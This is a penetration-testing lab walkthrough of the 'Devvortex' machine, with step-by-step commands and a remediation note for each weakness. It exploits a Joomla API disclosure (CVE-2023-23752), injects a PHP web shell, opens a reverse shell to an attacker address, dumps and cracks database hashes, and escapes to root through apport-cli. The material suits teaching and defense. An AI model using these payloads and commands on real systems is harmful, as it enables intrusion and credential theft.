← all walkthroughs

Devvortex

Linux· Easy· Web
owned
2026-06-29
time to own
7m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a hidden development virtual host running an outdated Joomla 4 installation and exploited an unauthenticated REST API information-disclosure flaw (CVE-2023-23752) to retrieve the database password for the CMS administrator 'lewis' in cleartext. Because that password was reused for the Joomla admin account, I logged straight into the administrator panel, then abused the built-in template file editor to inject a PHP web shell and execute commands as www-data.

Querying the local MySQL database from that shell exposed a bcrypt hash for the Linux user 'logan', which cracked trivially to '[REDACTED: recovered credential]'. I SSH'd in as logan, then exploited a NOPASSWD sudo rule permitting an unpatched version of apport-cli to open reports in the 'less' pager with root privileges—allowing an instant shell-escape to root (CVE-2023-1326).

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceVirtual-host / subdomain enumeration
Discovered hidden development virtual host
The main site at devvortex.htb returned minimal content. Subdomain brute-forcing revealed dev.devvortex.htb, which hosted a full Joomla 4 application including an accessible administrator login page—the true attack surface.
Dev.devvortex.htb confirmed reachable; GET to http://dev.devvortex.htb/administrator/index.php returned HTTP 200 (12211 bytes).
Exact commands 2
Add the discovered hostname to /etc/hosts before continuing.
gobuster vhost -u http://devvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 40
Confirm the Joomla admin panel is reachable and note the Joomla version from the generator meta tag.
curl -si http://dev.devvortex.htb/administrator/index.php | head -5
2Credential AccessCVE-2023-23752 — Joomla improper access check on REST API endpoint
Leaked database credentials via unauthenticated Joomla API (CVE-2023-23752)
Joomla 4.0.0–4.2.7 exposes a public REST API endpoint that returns the complete site configuration—including database host, name, username, and cleartext password—to any unauthenticated HTTP caller. A single GET request returned the credentials for the CMS account 'lewis'.
Unauthenticated GET to /api/index.php/v1/config/application?public=true returned JSON containing db user 'lewis' and password '[REDACTED: recovered credential]'.
Exact commands 1
Look for 'user', 'password', 'db', and 'host' keys in the returned JSON — all returned in plaintext.
curl -s 'http://dev.devvortex.htb/api/index.php/v1/config/application?public=true' | python3 -m json.tool
FixPatch Joomla to fix unauthenticated API configuration disclosure (CVE-2023-23752)Critical
WeaknessJoomla 4.0.0–4.2.7 returns the full site configuration—including the database username and cleartext password—through a REST API endpoint that requires no authentication whatsoever.
FixUpgrade Joomla to 4.2.8 or later (or 5.0.3+ on the 5.x branch), which adds a proper access check to the /api/v1/config/ routes. After patching, verify the endpoint is closed: curl -s 'http://dev.devvortex.htb/api/index.php/v1/config/application?public=true' should return HTTP 403. As defence-in-depth, block unauthenticated access to /api/ at the web server or WAF layer.
3ExploitationValid account — credential reuse (T1078)
Authenticated to Joomla admin panel with reused database password
The database password retrieved in the previous step ('[REDACTED: recovered credential]') was also the Joomla administrator password for 'lewis', who held Super User privileges. I logged straight into the admin panel, gaining full CMS control with no further effort.
POST to /administrator/index.php with lewis:[REDACTED: recovered credential] returned HTTP 200 and rendered the 'Home Dashboard - Development - Administration' page; session cookie [REDACTED: recovered credential] issued.
Exact commands 1
200 response confirms authentication; joomla.cookies now holds the valid admin session.
curl -c joomla.cookies -s -o /dev/null -w '%{http_code}' -X POST 'http://dev.devvortex.htb/administrator/index.php' --data 'username=lewis&passwd=[REDACTED: recovered credential]&option=com_login&task=login&return=aW5kZXgucGhw'
FixUse unique passwords for every application account — never reuse database credentialsHigh
WeaknessThe database password leaked by CVE-2023-23752 was identical to the Joomla admin account password, so a single information-disclosure finding immediately yielded full CMS administrator access.
FixAssign a randomly generated password (20+ characters) to the Joomla admin account that is completely independent of any database or system credential. Store it in a password manager. Enable Joomla two-factor authentication for all administrator accounts. Audit all CMS accounts periodically and remove any that are no longer needed.
4ExploitationCMS template PHP file write → web shell (T1505.003)
Injected PHP web shell via Joomla template file editor
Joomla's administrator template editor lets any Super User overwrite raw PHP files served by the web server. I opened the Cassiopeia theme's error.php in the editor, appended a one-line PHP web shell, saved the file, and triggered execution by requesting it with a command parameter—receiving OS command output as www-data.
Template editor for extension_id=223 presented a writable jform[source] textarea for files under /var/www/dev.devvortex.htb/templates/cassiopeia/. Foothold confirmed via id; whoami; hostname returning www-data output.
Exact commands 4
L2Vycm9yLnBocA== is base64('/error.php'). Extract the CSRF token from the response before the next step.
curl -b joomla.cookies -s 'http://dev.devvortex.htb/administrator/index.php?option=com_templates&view=template&id=223&file=L2Vycm9yLnBocA==' -o editor.html
Saves the web shell. If save fails, re-extract a fresh CSRF token from a new GET to the editor page.
TOKEN=$(grep -oP '[a-f0-9]{32}(?=":1)' editor.html | head -1); curl -b joomla.cookies -X POST 'http://dev.devvortex.htb/administrator/index.php?option=com_templates&view=template&id=223&file=L2Vycm9yLnBocA==' -d "jform[source]=<?php+system(%24_GET['ptcmd']);+?>&jform[filename]=/var/www/dev.devvortex.htb/templates/cassiopeia/error.php&task=template.apply&${TOKEN}=1"
Confirms RCE — expect output containing 'uid=33(www-data)'.
curl -s 'http://dev.devvortex.htb/templates/cassiopeia/error.php?ptcmd=id'
Reverse shell. Run 'nc -lvnp 4444' on my machine first; replace $ATTACKER_IP.
curl -s 'http://dev.devvortex.htb/templates/cassiopeia/error.php' --get --data-urlencode 'ptcmd=bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"'
FixDisable the Joomla administrator PHP template editorHigh
WeaknessJoomla's built-in template editor allows any Super User to overwrite live PHP files on disk through the browser, making any compromised admin account an immediate path to server-side code execution.
FixIn Joomla Global Configuration → Permissions, set the 'Edit Template' action to Denied for all groups, or remove write permission on the templates directory from the web-server user: 'chmod o-w -R /var/www/dev.devvortex.htb/templates'. If editing template files is operationally necessary, do it through a deployment pipeline rather than exposing raw PHP editing in the CMS admin panel.
5Lateral MovementCredential access from application database / offline hash cracking (T1110.002)
Queried Joomla database for user credentials and cracked logan's password
From the www-data shell, I connected to the local MySQL instance with the already-known credentials and queried the Joomla users table, which stores bcrypt-hashed passwords. The hash for the local Linux account 'logan' cracked against rockyou.txt in seconds, yielding '[REDACTED: recovered credential]'—which was also logan's SSH password.
SSH as logan@$TARGET with password [REDACTED: recovered credential] succeeded; id and user.txt captured.
Exact commands 4
Run from the www-data shell to identify the Joomla database name (typically 'joomla').
mysql -u lewis -p'[REDACTED: recovered credential]' -h 127.0.0.1 -e 'SHOW DATABASES;'
Table prefix (sd4fg_) is random per install. Use SHOW TABLES to find the correct prefix first.
mysql -u lewis -p'[REDACTED: recovered credential]' -h 127.0.0.1 joomla -e "SHOW TABLES LIKE '%users%'; SELECT username,password FROM sd4fg_users;"
Mode 3200 = bcrypt. Paste the retrieved hash into logan.hash. Cracks to '[REDACTED: recovered credential]'.
hashcat -m 3200 logan.hash /usr/share/wordlists/rockyou.txt
Confirms SSH access as logan. User.txt flag: <user.txt>.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null logan@$TARGET 'id; hostname; cat /home/logan/user.txt'
FixEnforce strong passwords for all Linux user accounts and disable SSH password authenticationHigh
WeaknessThe local user 'logan' had a password ('[REDACTED: recovered credential]') present in the rockyou.txt wordlist. Because Joomla stores passwords as bcrypt hashes in the database, anyone who reads the database can crack weak passwords offline with no account lockout.
FixRequire all user account passwords to be at least 16 characters long and absent from common wordlists (enforce via PAM's pam_pwquality or pam_cracklib). Immediately rotate all credentials stored in the Joomla database. For SSH, disable password authentication entirely by setting 'PasswordAuthentication no' in /etc/ssh/sshd_config and using SSH key pairs instead.
6Privilege EscalationCVE-2023-1326 — sudo apport-cli less pager escape (T1548.003)
Escaped to root via sudo apport-cli pager (CVE-2023-1326)
Logan's sudo policy allowed running /usr/bin/apport-cli as root without a password. The installed apport version was unpatched for CVE-2023-1326: when apport-cli displays a crash report it opens the content in the 'less' pager, and because the process runs as root, typing '!/bin/bash' inside less spawns a root shell. I used this to read /root/root.txt.
Sudo -l showed (ALL) NOPASSWD: /usr/bin/apport-cli; pager escape yielded id → uid=0(root); root.txt captured.
Exact commands 4
Run as logan. Confirms: (ALL) NOPASSWD: /usr/bin/apport-cli.
sudo -l
Opens apport-cli in file-a-bug mode for the 'bash' package. Follow any prompts; when offered to view the report, press V to open it in less.
sudo /usr/bin/apport-cli -f -p bash
Type this inside the less pager and press Enter. Spawns a root shell because less inherits root privileges from apport-cli.
!/bin/bash
Confirms root. Root.txt flag: <root.txt>.
id && cat /root/root.txt
FixRemove the apport-cli sudo rule and patch CVE-2023-1326Critical
WeaknessLogan was permitted to run /usr/bin/apport-cli as root without a password. The installed version was vulnerable to CVE-2023-1326, which allows any user who can invoke apport-cli as root to escape to a root shell through the 'less' pager it spawns.
FixRemove the sudoers entry granting access to apport-cli using 'sudo visudo'. If crash reporting is required for system administration, grant it only to named administrators and require password confirmation (remove NOPASSWD). Also upgrade the apport package to a version that includes the CVE-2023-1326 fix (Ubuntu: apport 2.20.11-0ubuntu82.6 or later). Audit all sudoers rules regularly — any NOPASSWD rule that invokes a tool capable of spawning a pager, editor, or shell is a privilege-escalation risk.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more